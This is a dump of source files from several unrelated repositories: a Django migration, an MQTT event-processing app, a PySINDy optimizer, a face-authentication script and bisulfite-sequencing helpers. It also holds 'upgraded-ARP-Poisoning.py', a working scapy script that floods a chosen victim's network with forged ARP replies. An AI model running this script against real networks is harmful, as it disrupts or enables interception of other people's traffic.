from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0004_auto_20200202_1236'),
]
operations = [
migrations.AddField(
model_name='user',
name='address',
field=models.TextField(default=1),
preserve_default=False,
),
migrations.AlterField(
model_name='user',
name='picture',
field=models.ImageField(blank=True, default='none.jpg', null=True, upload_to='media/profile'),
),
]
|
KuaJnio/light-cep | light-cep/core/utils.py | <filename>light-cep/core/utils.py
import logging
import sys
def signal_term_handler(signal, frame):
logging.info('Catched signal SIGTERM')
try:
pass
except Exception as e:
logging.error('Error in signal_term_handler: ' + str(e))
logging.info('Done handling signal SIGTERM, exiting now!')
sys.exit(0)
def set_logger(log_name, log_level):
app_name = log_name
while len(app_name) <= 12:
app_name = " " + app_name
logging.basicConfig(level=log_level,
format='%(asctime)s - {} - %(levelname)7s - %(message)s'.format(app_name),
datefmt='%m-%d %H:%M:%S',
filename='{}.log'.format(log_name),
filemode='a')
# define a Handler which writes INFO messages or higher to the sys.stderr
console = logging.StreamHandler()
console.setLevel(logging.DEBUG)
# set a format which is simpler for console use
formatter = logging.Formatter('%(asctime)s - {} - %(levelname)7s - %(message)s'.format(app_name))
# tell the handler to use this format
console.setFormatter(formatter)
# add the handler to the root logger
logging.getLogger('').addHandler(console)
logging.getLogger("requests").setLevel(logging.WARNING)
logging.getLogger("urllib3").setLevel(logging.WARNING)
logging.getLogger("werkzeug").setLevel(logging.WARNING) |
KuaJnio/light-cep | light-cep/core/cep.py | <gh_stars>0
from time import time, sleep
from re import search
from threading import Thread, Lock
from json import JSONEncoder, load, dump
import logging
class PayloadConsumer(Thread):
def __init__(self, payload, rules_handler, regexs_handler, database_handler):
Thread.__init__(self)
self.payload = payload
self.rules_handler = rules_handler
self.regexs_handler = regexs_handler
self.database_handler = database_handler
def look_for_regexs(self):
try:
result = []
for regex in self.regexs_handler.regexs:
r = search(self.regexs_handler.regexs[regex], self.payload)
if r is not None:
result.append(regex)
return result
except Exception as e:
logging.error('Error in PayloadConsumer.look_for_regexs: ' + str(e))
return result
def run(self):
try:
matches = self.look_for_regexs()
for match in matches:
timestamp = int(time())
self.database_handler.insert_match(timestamp, match)
self.rules_handler.handle_match(match, self.payload)
logging.debug("Got match for regex " + match)
except Exception as e:
logging.error('Error in PayloadConsumer.run: ' + str(e))
class RegexsHandler(object):
def __init__(self):
try:
self.regexs = {}
except Exception as e:
logging.error('Error in RegexsHandler.__init__: ' + str(e))
def add_regex(self, name, value):
try:
self.regexs[name] = value
logging.debug("Added regex " + name + " : " + value)
except Exception as e:
logging.error('Error in RegexsHandler.add_regex: ' + str(e))
def reset(self):
del self.regexs
self.regexs = {}
class Rule(object):
def __init__(self, regexs_yes, regexs_no, window, mode, hold, name, output_topic, mqtt_client):
try:
self.regexs_yes = regexs_yes
self.regexs_no = regexs_no
self.window = window
self.mode = mode
self.hold = hold
self.name = name
self.mqtt_client = mqtt_client
self.output_topic = output_topic
self.callback_template = None
self.pending = False
self.remaining_regexs = list(self.regexs_yes)
self.start_time = None
self.completed = False
self.completed_time = None
self.triggering_payloads = {}
except Exception as e:
logging.error('Error in Rule.__init__: ' + str(e))
def has_regex(self, regex):
try:
if not len(self.remaining_regexs) == 0:
if self.mode == "strict":
if self.remaining_regexs[0] == regex:
return True
else:
return False
else:
if regex in self.remaining_regexs:
return True
else:
return False
else:
return False
except Exception as e:
logging.error('Error in Rule.has_regex: ' + str(e))
return False
def is_completed(self):
return self.completed
def complete(self):
self.completed = True
self.completed_time = time()
def is_finished(self):
res = False
if ((len(self.remaining_regexs) == 0) or (self.mode == "one")):
res = True
return res
def is_expired(self):
return time() - self.start_time > self.window
def is_on_hold(self):
return time() - self.completed_time < self.hold
def del_regex(self, regex):
try:
del self.remaining_regexs[self.remaining_regexs.index(regex)]
except Exception as e:
logging.error('Error in Rule.del_regex: ' + str(e))
def reset_rule(self):
try:
self.pending = False
self.completed = False
self.completed_time = None
self.remaining_regexs = list(self.regexs_yes)
self.triggering_payloads = {}
self.callback_payload = ""
except Exception as e:
logging.error('Error in Rule.reset_rule: ' + str(e))
def start_rule(self):
try:
self.pending = True
self.start_time = time()
logging.debug("Initiated rule " + self.name)
except Exception as e:
logging.error('Error in Rule.start_rule: ' + str(e))
def callback(self):
try:
#TODO support jinja template to format callback payload
self.callback_payload = JSONEncoder().encode(
{
"timestamp": int(time()),
"name": self.name,
"triggering_payload": self.triggering_payloads
}
)
logging.info('Triggered rule \'' + self.name + '\'')
self.mqtt_client.publish(self.output_topic, self.callback_payload)
except Exception as e:
logging.error('Error in Rule.callback: ' + str(e))
class RulesHandler(Thread):
def __init__(self, database_handler):
Thread.__init__(self)
self.rules = []
self.database_handler = database_handler
def add_rule(self, rule):
try:
self.rules.append(rule)
except Exception as e:
logging.error('Error in RulesHandler.add_rule: ' + str(e))
def check_rules(self):
try:
for rule in self.rules:
if rule.pending:
if rule.completed:
if rule.is_on_hold():
pass
else:
trigger = True
for value in rule.regexs_no:
timestamp = int(time()) - rule.regexs_no[value]
if self.database_handler.check_for_value(timestamp, value):
logging.debug("Cancelling rule " + rule.name + " because \'regex_no\' " + value + " was found in the last " + str(rule.regexs_no[value]) + " seconds")
trigger = False
if trigger:
rule.callback()
else:
pass
rule.reset_rule()
else:
if rule.is_finished():
rule.complete()
elif rule.is_expired():
rule.reset_rule()
logging.debug("Reseted rule " + rule.name + " because of expiration")
except Exception as e:
logging.error('Error in RulesHandler.check_rules: ' + str(e))
def handle_match(self, name, payload):
try:
for rule in self.rules:
if rule.pending:
if rule.has_regex(name):
rule.del_regex(name)
rule.triggering_payloads[name] = payload
else:
if rule.has_regex(name):
rule.start_rule()
rule.triggering_payloads[name] = payload
rule.del_regex(name)
except Exception as e:
logging.error('Error in RulesHandler.handle_match: ' + str(e))
def reset(self):
del self.rules
self.rules = []
def run(self):
try:
while True:
self.check_rules()
sleep(0.05)
except Exception as e:
logging.error('Error in RulesHandler.run: ' + str(e))
def create_rules_handler(database_handler):
rules_handler = RulesHandler(database_handler)
rules_handler.daemon = True
rules_handler.start()
return rules_handler
def create_rule(regexs_yes, regexs_no, window, mode, hold, name, output_topic, mqtt_client, rules_handler):
isPresent = False
for rule in rules_handler.rules:
if rule.name == name:
isPresent = True
if not isPresent:
rule = Rule(regexs_yes, regexs_no, window, mode, hold, name, output_topic, mqtt_client)
rules_handler.add_rule(rule)
logging.debug("Added rule " + name)
else:
logging.error('Tried to add rule with name ' + name + ' but a rule with the same name already exists, aborting...')
class ConfigHandler(object):
def __init__(self):
self.file_name = "core/config.json"
self.lock = Lock()
def get_config(self):
self.lock.acquire()
with open(self.file_name, 'r') as f:
data = load(f)
self.lock.release()
return data
def has_regex(self, name):
self.lock.acquire()
with open(self.file_name, 'r') as f:
data = load(f)
self.lock.release()
return name in data['regexs']
def add_regex(self, name, regex):
self.lock.acquire()
with open(self.file_name, 'r+') as f:
data = load(f)
data['regexs'][name] = regex
f.seek(0)
dump(data, f, indent=4)
f.truncate()
self.lock.release()
def del_regex(self, name):
self.lock.acquire()
with open(self.file_name, 'r+') as f:
data = load(f)
del data['regexs'][name]
f.seek(0)
dump(data, f, indent=4)
f.truncate()
self.lock.release()
def get_regexs(self):
self.lock.acquire()
with open(self.file_name, 'r') as f:
data = load(f)
self.lock.release()
return data['regexs']
def get_regex_by_name(self, name):
self.lock.acquire()
with open(self.file_name, 'r') as f:
data = load(f)
self.lock.release()
return data['regexs'][name]
def enable_regex(self, name):
self.lock.acquire()
with open(self.file_name, 'r+') as f:
data = load(f)
data['regexs'][name]['enabled'] = True
f.seek(0)
dump(data, f, indent=4)
f.truncate()
self.lock.release()
def disable_regex(self, name):
self.lock.acquire()
with open(self.file_name, 'r+') as f:
data = load(f)
data['regexs'][name]['enabled'] = False
f.seek(0)
dump(data, f, indent=4)
f.truncate()
self.lock.release()
def has_rule(self, name):
self.lock.acquire()
with open(self.file_name, 'r') as f:
data = load(f)
self.lock.release()
return name in data['rules']
def add_rule(self, name, rule):
self.lock.acquire()
with open(self.file_name, 'r+') as f:
data = load(f)
data['rules'][name] = rule
f.seek(0)
dump(data, f, indent=4)
f.truncate()
self.lock.release()
def del_rule(self, name):
self.lock.acquire()
with open(self.file_name, 'r+') as f:
data = load(f)
del data['rules'][name]
f.seek(0)
dump(data, f, indent=4)
f.truncate()
self.lock.release()
def get_rules(self):
self.lock.acquire()
with open(self.file_name, 'r') as f:
data = load(f)
self.lock.release()
return data['rules']
def get_rule_by_name(self, name):
self.lock.acquire()
with open(self.file_name, 'r') as f:
data = load(f)
self.lock.release()
return data['rules'][name]
def enable_rule(self, name):
self.lock.acquire()
with open(self.file_name, 'r+') as f:
data = load(f)
data['rules'][name]['enabled'] = True
f.seek(0)
dump(data, f, indent=4)
f.truncate()
self.lock.release()
def disable_rule(self, name):
self.lock.acquire()
with open(self.file_name, 'r+') as f:
data = load(f)
data['rules'][name]['enabled'] = False
f.seek(0)
dump(data, f, indent=4)
f.truncate()
self.lock.release()
def is_regex(self, data):
if len(data) == 2 and 'value' in data and 'enabled' in data:
if isinstance(data['value'], str) and isinstance(data['enabled'], bool):
pass
else:
return False
else:
return False
return True
def is_rule(self, data):
if len(data) == 8 and 'enabled' in data and 'name' in data and 'regexs_yes' in data and 'regexs_no' in data and 'mode' in data and 'hold' in data and 'window' in data and 'output_topic' in data:
if isinstance(data['enabled'], bool) and isinstance(data['name'], str) and isinstance(data['regexs_yes'], dict) and isinstance(data['regexs_no'], dict) and isinstance(data['mode'], str) and isinstance(data['window'], int) and isinstance(data['hold'], int) and isinstance(data['output_topic'], str):
for regex in data['regexs_yes']:
if isinstance(data['regexs_yes'][regex], str):
pass
else:
return False
else:
return False
else:
return False
return True
def is_config(self, data):
if len(data) == 2 and 'regexs' in data and 'rules' in data:
if isinstance(data['regexs'], dict) and isinstance(data['rules'], dict):
for regex in data['regexs']:
if self.is_regex(data['regexs'][regex]):
pass
else:
return False
for rule in data['rules']:
if self.is_rule(data['rules'][rule]):
pass
else:
return False
else:
return False
else:
return False
return True
|
KuaJnio/light-cep | light-cep/core/mqtt_client.py | <filename>light-cep/core/mqtt_client.py
import paho.mqtt.client as mqtt
from threading import Thread
from time import sleep
import logging
TOPICS = None
def on_connect(client, userdata, flags, rc):
try:
if rc == 0:
logging.info("Connection to broker OK")
else:
logging.warning(
"Connection to broker KO, with result code {}".format(rc))
if TOPICS:
for topic in TOPICS:
client.subscribe(topic)
logging.info("Subscribed to \"{}\"".format(topic))
except Exception as e:
logging.error("Error in on_connect(): {}".format(e))
def on_disconnect(client, userdata, rc):
logging.warning("Disconnected from broker with result code {}".format(rc))
connected = False
while not connected:
try:
rc = client.reconnect()
except Exception:
sleep(1)
if rc == 0:
connected = True
class MqttClient(Thread):
def __init__(self, addr, port, on_message):
try:
Thread.__init__(self)
self.mqtt_client = mqtt.Client()
self.mqtt_client.on_connect = on_connect
self.mqtt_client.on_disconnect = on_disconnect
self.mqtt_client.on_message = on_message
self.addr = addr
self.port = port
except Exception as e:
logging.error("Error in MqttClient.__init__(): {}".format(e))
def run(self):
try:
logging.info("Connecting to broker {}:{}...".format(
self.addr, self.port))
connected = False
while not connected:
try:
self.mqtt_client.connect(host=self.addr, port=self.port)
connected = True
except Exception:
sleep(1)
self.mqtt_client.loop_forever()
except Exception as e:
logging.error("Error in MqttClient.run(): {}".format(e))
def publish(self, topic, message):
try:
# logging.debug("Publishing to broker {}:{} in topic {}".format(self.addr, self.port, topic))
# rc, count = self.mqtt_client.publish(topic, message)
rc = self.mqtt_client.publish(topic, message)
if rc == 0:
#logging.debug("Publish OK")
pass
else:
logging.warning("Publish KO, with result {}".format(
self.publish_errors(rc)))
except Exception as e:
logging.error("Error in MqttClient.publish(): {}".format(e))
@staticmethod
def publish_errors(error):
try:
if error == -1:
return "MQTT_ERR_AGAIN"
elif error == 0:
return "MQTT_ERR_SUCCESS"
elif error == 1:
return "MQTT_ERR_NOMEM"
elif error == 2:
return "MQTT_ERR_PROTOCOL"
elif error == 3:
return "MQTT_ERR_INVAL"
elif error == 4:
return "MQTT_ERR_NO_CONN"
elif error == 5:
return "MQTT_ERR_CONN_REFUSED"
elif error == 6:
return "MQTT_ERR_NOT_FOUND"
elif error == 7:
return "MQTT_ERR_CONN_LOST"
elif error == 8:
return "MQTT_ERR_TLS"
elif error == 9:
return "MQTT_ERR_PAYLOAD_SIZE"
elif error == 10:
return "MQTT_ERR_NOT_SUPPORTED"
elif error == 11:
return "MQTT_ERR_AUTH"
elif error == 12:
return "MQTT_ERR_ACL_DENIED"
elif error == 13:
return "MQTT_ERR_UNKNOWN"
elif error == 14:
return "MQTT_ERR_ERRNO"
except Exception as e:
logging.error("Error in MqttClient.publish_errors(): {}".format(e))
def create_mqtt_client(addr, port, on_message, topics):
try:
logging.info(
"Creating mqtt client on broker : {}:{}".format(addr, port))
global TOPICS
TOPICS = topics
mqtt_cli_tmp = MqttClient(addr, port, on_message)
mqtt_cli_tmp.daemon = True
mqtt_cli_tmp.start()
return mqtt_cli_tmp
except Exception as e:
logging.error("Error in create_mqtt_client(): {}".format(e))
|
KuaJnio/light-cep | light-cep/apis/regexs.py | <reponame>KuaJnio/light-cep
from flask_restplus import Namespace, Resource, fields
from flask import current_app
api = Namespace('regexs', description='Regexs related operations')
@api.route('/')
class RegexList(Resource):
@api.doc('list_regexs')
def get(self):
'''List all regexs'''
return {'name': current_app.config_handler.get_regexs()}
|
KuaJnio/light-cep | light-cep/apis/rules.py | <reponame>KuaJnio/light-cep
from flask_restplus import Namespace, Resource, fields
from flask import current_app
api = Namespace('rules', description='Rules related operations')
@api.route('/')
class RuleList(Resource):
@api.doc('list_rules')
def get(self):
'''List all rules'''
return {'name': current_app.config_handler.get_rules()}
|
KuaJnio/light-cep | light-cep/core/database.py | import logging
from threading import Lock
import sqlite3
class DatabaseHandler(object):
def __init__(self, name):
try:
self.lock = Lock()
self.connection = sqlite3.connect(name, check_same_thread=False)
self.create_table()
except Exception as e:
logging.error('Error in DatabaseHandler.__init__: ' + str(e))
def create_table(self):
try:
self.lock.acquire()
c = self.connection.cursor()
c.execute('CREATE TABLE IF NOT EXISTS matches (timestamp int, value text)')
self.connection.commit()
self.lock.release()
except Exception as e:
logging.error('Error in DatabaseHandler.create_table: ' + str(e))
def insert_match(self, timestamp, value):
try:
self.lock.acquire()
c = self.connection.cursor()
c.execute('INSERT INTO matches VALUES (?, ?)', (timestamp, value))
self.connection.commit()
self.lock.release()
except Exception as e:
logging.error('Error in DatabaseHandler.insert_match: ' + str(e))
def check_for_value(self, test_timestamp, test_value):
try:
res = False
self.lock.acquire()
c = self.connection.cursor()
c.execute('SELECT * FROM matches WHERE timestamp > ? AND value = ?', (test_timestamp, test_value))
content = c.fetchone()
if content:
res = True
self.lock.release()
return res
except Exception as e:
logging.error('Error in DatabaseHandler.check_for_value: ' + str(e))
|
KuaJnio/light-cep | light-cep/apis/__init__.py | from flask_restplus import Api
from .rules import api as ns_rules
from .regexs import api as ns_regexs
api = Api(
title='light-cep',
version='1.0',
description='light complex event processing application written in python',
# All API metadatas
)
api.add_namespace(ns_rules, path='/rules')
api.add_namespace(ns_regexs, path='/regexs')
|
KuaJnio/light-cep | light-cep/app.py | from core.utils import set_logger, signal_term_handler
from core.database import DatabaseHandler
from core.cep import RegexsHandler, create_rules_handler, ConfigHandler, PayloadConsumer, create_rule
from core.mqtt_client import create_mqtt_client
from threading import Thread
import signal
import json
import logging
from time import sleep
import sys
from flask import Flask
from apis import api
set_logger("light-cep", logging.DEBUG)
app = Flask(__name__)
app.mqtt_client = None
app.regexs_handler = None
app.rules_handler = None
app.config_handler = None
app.database_handler = None
api.init_app(app)
MQTT_HOST = "localhost"
MQTT_PORT = 1883
MQTT_TOPICS = ["#"]
def on_message(client, userdata, msg):
try:
payload = str(msg.payload, 'utf-8')
payload_consumer = PayloadConsumer(
payload, rules_handler, regexs_handler, database_handler)
payload_consumer.start()
except Exception as e:
logging.error('Error in on_message: ' + str(e))
def parse_config():
try:
with open(app.root_path + '/core/config.json') as json_data_file:
data = json.load(json_data_file)
if app.config_handler.is_config(data):
for regex in data['regexs']:
if data['regexs'][regex]['enabled']:
global regexs_handler
app.regexs_handler.add_regex(
regex, data['regexs'][regex]['value'])
for rule in data['rules']:
regexTest = True
if data['rules'][rule]['enabled']:
reg_list = []
for regex in data['rules'][rule]['regexs_yes']:
reg_list.append(
data['rules'][rule]['regexs_yes'][regex])
if regexTest:
create_rule(regexs_yes=reg_list, regexs_no=data['rules'][rule]['regexs_no'], window=data['rules'][rule]["window"], hold=data['rules'][rule]["hold"], mode=data[
'rules'][rule]["mode"], mqtt_client=app.mqtt_client, rules_handler=app.rules_handler, name=data['rules'][rule]["name"], output_topic=data['rules'][rule]["output_topic"])
else:
raise Exception('Bad config format, aborting...')
except Exception as e:
logging.error('Error in parse_config: ' + str(e))
try:
signal.signal(signal.SIGTERM, signal_term_handler)
app.database_handler = DatabaseHandler(":memory:")
# database_handler = DatabaseHandler("database.db")
app.regexs_handler = RegexsHandler()
app.rules_handler = create_rules_handler(app.database_handler)
app.mqtt_client = mqtt_client = create_mqtt_client(
MQTT_HOST, MQTT_PORT, on_message, MQTT_TOPICS)
app.config_handler = ConfigHandler()
sleep(1)
parse_config()
logging.info("Initializing server...")
app.run(host='0.0.0.0', port=8080)
except Exception as e:
logging.error('Error in main: ' + str(e))
|
RahulSundar/pysindy | pysindy/optimizers/base.py | """
Base class for SINDy optimizers.
"""
import abc
import numpy as np
from scipy import sparse
from sklearn.linear_model import LinearRegression
from sklearn.multioutput import MultiOutputRegressor
from sklearn.utils.extmath import safe_sparse_dot
from sklearn.utils.validation import check_X_y
def _rescale_data(X, y, sample_weight):
"""Rescale data so as to support sample_weight"""
n_samples = X.shape[0]
sample_weight = np.asarray(sample_weight)
if sample_weight.ndim == 0:
sample_weight = np.full(n_samples, sample_weight, dtype=sample_weight.dtype)
sample_weight = np.sqrt(sample_weight)
sw_matrix = sparse.dia_matrix((sample_weight, 0), shape=(n_samples, n_samples))
X = safe_sparse_dot(sw_matrix, X)
y = safe_sparse_dot(sw_matrix, y)
return X, y
class ComplexityMixin:
@property
def complexity(self):
return np.count_nonzero(self.coef_) + np.count_nonzero(self.intercept_)
class BaseOptimizer(LinearRegression, ComplexityMixin):
"""
Base class for SINDy optimizers. Subclasses must implement
a _reduce method for carrying out the bulk of the work of
fitting a model.
Parameters
----------
fit_intercept : boolean, optional (default False)
Whether to calculate the intercept for this model. If set to false, no
intercept will be used in calculations.
normalize : boolean, optional (default False)
This parameter is ignored when fit_intercept is set to False. If True,
the regressors X will be normalized before regression by subtracting
the mean and dividing by the l2-norm.
copy_X : boolean, optional (default True)
If True, X will be copied; else, it may be overwritten.
Attributes
----------
coef_ : array, shape (n_features,) or (n_targets, n_features)
Weight vector(s).
ind_ : array, shape (n_features,) or (n_targets, n_features)
Array of 0s and 1s indicating which coefficients of the
weight vector have not been masked out.
history_ : list
History of ``coef_`` over iterations of the optimization algorithm.
"""
def __init__(self, max_iter=20, normalize=False, fit_intercept=False, copy_X=True):
super(BaseOptimizer, self).__init__(
fit_intercept=fit_intercept, normalize=normalize, copy_X=copy_X
)
if max_iter <= 0:
raise ValueError("max_iter must be positive")
self.max_iter = max_iter
self.iters = 0
self.coef_ = None
self.ind_ = None
self.history_ = []
# Force subclasses to implement this
@abc.abstractmethod
def _reduce(self):
"""
Carry out the bulk of the work of the fit function.
Subclass implementations MUST update self.coef_.
"""
raise NotImplementedError
def fit(self, x_, y, sample_weight=None, **reduce_kws):
"""
Fit the model.
Parameters
----------
x_ : array-like, shape (n_samples, n_features)
Training data
y : array-like, shape (n_samples,) or (n_samples, n_targets)
Target values
sample_weight : float or numpy array of shape (n_samples,), optional
Individual weights for each sample
reduce_kws : dict
Optional keyword arguments to pass to the _reduce method
(implemented by subclasses)
Returns
-------
self : returns an instance of self
"""
x_, y = check_X_y(x_, y, accept_sparse=[], y_numeric=True, multi_output=True)
x, y, X_offset, y_offset, X_scale = self._preprocess_data(
x_,
y,
fit_intercept=self.fit_intercept,
normalize=self.normalize,
copy=self.copy_X,
sample_weight=sample_weight,
)
if sample_weight is not None:
x, y = _rescale_data(x, y, sample_weight)
self.iters = 0
self.ind_ = np.ones((y.shape[1], x.shape[1]), dtype=bool)
self.coef_ = np.linalg.lstsq(x, y, rcond=None)[0].T # initial guess
self.history_.append(self.coef_)
self._reduce(x, y, **reduce_kws)
self.ind_ = np.abs(self.coef_) > 1e-14
self._set_intercept(X_offset, y_offset, X_scale)
return self
class _MultiTargetLinearRegressor(MultiOutputRegressor, ComplexityMixin):
@property
def coef_(self):
return np.vstack([est.coef_ for est in self.estimators_])
@property
def intercept_(self):
return np.array([est.intercept_ for est in self.estimators_])
|
codassassin/face_detection | face_authentication.py | # by @codassassin
import cv2
import numpy as np
import face_recognition
import os
import FaceMeshModule as fm
path = 'Auth_face'
images = []
classNames = []
myList = os.listdir(path)
for cl in myList:
curImg = cv2.imread(f'{path}/{cl}')
images.append(curImg)
classNames.append(os.path.splitext(cl)[0])
def searchName(name):
with open('encode.csv', 'r+') as f:
myDataList = f.readlines()
nameList = []
for line in myDataList:
entry = line.split(',')
nameList.append(entry[0])
if name in nameList:
return True
else:
return False
def fetchEncoding(images):
encodeList = []
for img in images:
img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
encode = face_recognition.face_encodings(img)[0]
encodeList.append(encode)
return encodeList
def enterUser(name, registered):
with open('encode.csv', 'r+') as f:
myDataList = f.readlines()
nameList = []
for line in myDataList:
entry = line.split(',')
nameList.append(entry[0])
if name not in nameList:
f.writelines(f'\n{name},{registered}')
def confirmReg(name):
with open('encode.csv', 'r') as f:
myDataList = f.readlines()
flag = 0
for line in myDataList:
entry = line.split(',')
if entry[0] == name:
flag = 1
break
else:
flag = 0
if flag == 1:
return True
else:
return False
def compareEncodings(image):
small_image = cv2.resize(image, (0, 0), None, 0.25, 0.25)
small_image = cv2.cvtColor(small_image, cv2.COLOR_BGR2RGB)
face = face_recognition.face_locations(small_image)
encode = face_recognition.face_encodings(small_image, face)
match = face_recognition.compare_faces(encodingComp, encode[0])
face_dis = face_recognition.face_distance(encodingComp, encode[0])
match_index = np.argmin(face_dis)
if match[match_index]:
print("The user is registered under another name")
return True
else:
return False
encodingComp = fetchEncoding(images)
nameAuth = input('Enter your name: ')
if searchName(nameAuth):
cap = cv2.VideoCapture(0)
detector = fm.FaceMeshDetector()
while True:
success, img = cap.read()
imag, faces = detector.findFaceMesh(img)
imgS = cv2.resize(img, (0, 0), None, 0.25, 0.25)
imgS = cv2.cvtColor(imgS, cv2.COLOR_BGR2RGB)
facesCurFrame = face_recognition.face_locations(imgS)
encodesCurFrame = face_recognition.face_encodings(imgS, facesCurFrame)
flag = 1
for encodeFace, faceLoc in zip(encodesCurFrame, facesCurFrame):
matches = face_recognition.compare_faces(encodingComp, encodeFace)
faceDis = face_recognition.face_distance(encodingComp, encodeFace)
matchIndex = np.argmin(faceDis)
if matches[matchIndex]:
print("Identified as " + nameAuth)
y1, x2, y2, x1 = faceLoc
y1, x2, y2, x1 = y1 * 4, x2 * 4, y2 * 4, x1 * 4
cv2.rectangle(img, (x1, y1), (x2, y2), (0, 255, 0), 2)
cv2.rectangle(img, (x1, y2 - 35), (x2, y2), (0, 255, 0), cv2.FILLED)
cv2.putText(img, 'Identity confirmed: ', (50, 30), cv2.FONT_HERSHEY_COMPLEX, 1, (255, 0, 0), 2)
cv2.putText(img, nameAuth, (x1 + 6, y2 - 6), cv2.FONT_HERSHEY_COMPLEX, 1, (255, 255, 255), 2)
flag = 1
else:
cv2.putText(img, 'Identity could not be confirmed! ', (50, 30), cv2.FONT_HERSHEY_COMPLEX, 1, (255, 0, 0), 2)
flag = 0
if flag == 0:
break
cv2.imshow('Webcam', img)
cv2.waitKey(1)
else:
cap = cv2.VideoCapture(0)
while True:
success, img = cap.read()
cv2.putText(img, "Press C to capture your image", (50, 30), cv2.FONT_HERSHEY_COMPLEX, 1, (255, 0, 0), 1)
cv2.imshow('Webcam', img)
if cv2.waitKey(1) & 0xFF == ord('c'):
break
del cap
if not classNames:
cv2.imwrite('Auth_face/' + nameAuth + '.png', img)
enterUser(nameAuth, True)
else:
if not compareEncodings(img):
cv2.imwrite('Auth_face/' + nameAuth + '.png', img)
enterUser(nameAuth, True)
if confirmReg(nameAuth):
print("User registered successfully !!")
else:
print("User could not be registered !!")
|
deadlysnowman3308/upgraded-ARP-Poisoning | upgraded-ARP-Poisoning.py | #!/usr/bin/env python
from scapy.all import *
import os, sys
from os import system
from termcolor import colored, cprint
os.system('cls' if os.name == 'nt' else 'clear')
try:
dest_random = RandIP()
print("\n")
cprint(colored("[+] Made by Aniket [+]", "yellow", attrs=["blink"]))
print("\n")
user = str(input(colored("[*] Enter victim host or ip (deault: random-ip):> " or f"{dest_random}", "red")))
print("\n")
cprint(colored("[*] Attack under progress ...", "magenta", attrs=["blink"]))
cprint(colored("[*] CTRL+c for stop the Attack", "green", attrs=["blink"]))
except:
os.system('cls' if os.name == 'nt' else 'clear')
cprint(colored("[+] Made by Aniket [+]", "yellow", attrs=["blink"]))
cprint(colored("Try again something error or missing", "red", attrs=["blink"]))
sys.exit()
while 1:
try:
dest_mac = RandMAC()
src_mac = RandMAC()
sendp(Ether(src=src_mac, dst=dest_mac)/ARP(op=2, psrc=user, hwsrc=src_mac, hwdst=dest_mac)/Padding(load="X"*18), verbose=0)
except:
os.system('cls' if os.name == 'nt' else 'clear')
cprint(colored("[+] Made by Aniket [+]", "yellow", attrs=["blink"]))
cprint(colored("[+] Ctrl+c detected", "red", attrs=["blink"]))
sys.exit(1)
|
biobai/LiBis | LiBis/test/analysis.py | <reponame>biobai/LiBis<filename>LiBis/test/analysis.py
def mates(dic,file):
#chr start front_del end_del
result=[]
for name in dic:
if name[-2:]=='_0':
_name = name[:-2]
if _name[-1]=='1':
continue
if (_name[:-1]+'1'+'_0' in dic) or (_name[:-1]+'1'+'_1' in dic):
continue
mate = _name +'_1'
if mate in dic:
a = '\t'.join(dic[name])
b = '\t'.join(dic[mate])
s = _name+'\t'+a+'\t'+b+'\n'
result.append(s)
with open(file+'.mate','w') as f:
f.writelines(result)
def duplicates(dic,file):
result=[]
for name in dic:
if name[-3]=='0':
dupname = name[:-3]+'1'+name[-2:]
if dupname in dic:
a = '\t'.join(dic[name])
b = '\t'.join(dic[dupname])
s = name+'\t'+a+'\t'+b+'\n'
result.append(s)
with open(file+'.dup','w') as f:
f.writelines(result)
def single(dic,file):
result=[]
for name in dic:
_name = name[:-4]
tail=['_0_0','_0_1','_1_1','_1_0']
sum=0
for t in tail:
if _name+t in dic:
sum+=1
if sum!=1: continue
s = name+'\t'+'\t'.join(dic[name])+'\n'
result.append(s)
with open(file+'.single','w') as f:
f.writelines(result)
def readfile(file):
dic={}
with open(file) as f:
for line in f:
temp = line.strip().split()
dic[temp[0]] = [temp[1],temp[2],temp[3],temp[4]]
return dic
if __name__=='__main__':
ff = 'M6G_split.bam.pos.comb'
dic=readfile(ff)
mates(dic,ff)
duplicates(dic,ff)
single(dic,ff)
|
biobai/LiBis | LiBis/computeProcess.py | from .moabs import *
from .fastqc import Fastqc
from .trim import Trim
from .utils import *
from .NumExtractor import *
from .bedtools import Bedtools
from pandas import DataFrame
from .bsplot import *
import os
from datetime import datetime
def computeQC(name,fastqc,param={}):
'''
Computing function for qc. Return two arrays: The first one contains filenames for next step computing.
The second one contains
'''
print('[ '+str(datetime.now())+' ]\tRunning quality control for samples...')
fn=[]
filename=''
for nn in name:
temp=[]
for n in nn:
filename = filename+n+' '
newname = RemoveFastqExtension(n)
temp.append(newname+'_fastqc.html')
fn.append(temp)
fastqc.run(filename)
print('[ '+str(datetime.now())+' ]\tFinish quality control for samples')
return name,fn
def computeTrim(name,trim,param={}):
print('[ '+str(datetime.now())+' ]\tRunning Adaptor trimming for samples...')
fn=''
trimmedname=[]
triminfo=[]
#print(name)
for n in name:
temp=[]
infotemp=[]
fn=''
fileorder=1
for nn in n:
newname = RemoveFastqExtension(nn)
purename = nn[nn.rfind('/')+1:]
fn = fn+nn+' '
if len(n)==1:
temp.append('Trim/'+newname+'_trimmed.fq.gz')
else:
temp.append('Trim/'+newname+'_val_'+str(fileorder)+'.fq.gz')
fileorder+=1
infotemp.append('Trim/'+purename+'_trimming_report.txt')
trimmedname.append(temp)
triminfo.append(infotemp)
fn.strip()
if len(n)==1:
trim.run(fn,1)
else:
trim.run(fn,2)
name=trimmedname
print('[ '+str(datetime.now())+' ]\tFinish Adaptor trimming for samples')
return name,triminfo
def computeBsmap(name,bsmap,param):
#return ['BAM_FILE/6P1_notrim_val_1_val_1_combine.bam','BAM_FILE/6P1_notrim_val_1_val_1_combine.bam'],[['BAM_FILE/6P1_notrim_val_1_val_1_originallog.record','BAM_FILE/6P1_notrim_val_1_val_1_split_log.record'],['BAM_FILE/6P1_notrim_val_1_val_1_originallog.record','BAM_FILE/6P1_notrim_val_1_val_1_split_log.record']]
print('[ '+str(datetime.now())+' ]\tRunning Alignment for samples...')
if not exist(name):
raise "Fastq not found"
clip = param['clip']
given_bam_files = param['bamfiles']
labels = param['label']
bamname=[]
bamlogname=[]
threads = param['threads']
for n,given_bam,given_label in zip(name,given_bam_files,labels):
if clip:
newname,logname = bsmap.clipping(n,param,given_bam,given_label)
else:
if given_bam!='':
logname = ''
newname = given_bam
else:
newname,logname = bsmap.normalmode(n,given_label,threads)
bamname.append(newname)
bamlogname.append(logname)
print('[ '+str(datetime.now())+' ]\tFinish Alignment for samples')
return bamname,bamlogname
def computeMcall(name,mcall,param):
print('[ '+str(datetime.now())+' ]\tRunning Methylation Calling for samples...')
if not exist(name):
raise "BAM not found"
bedname=[]
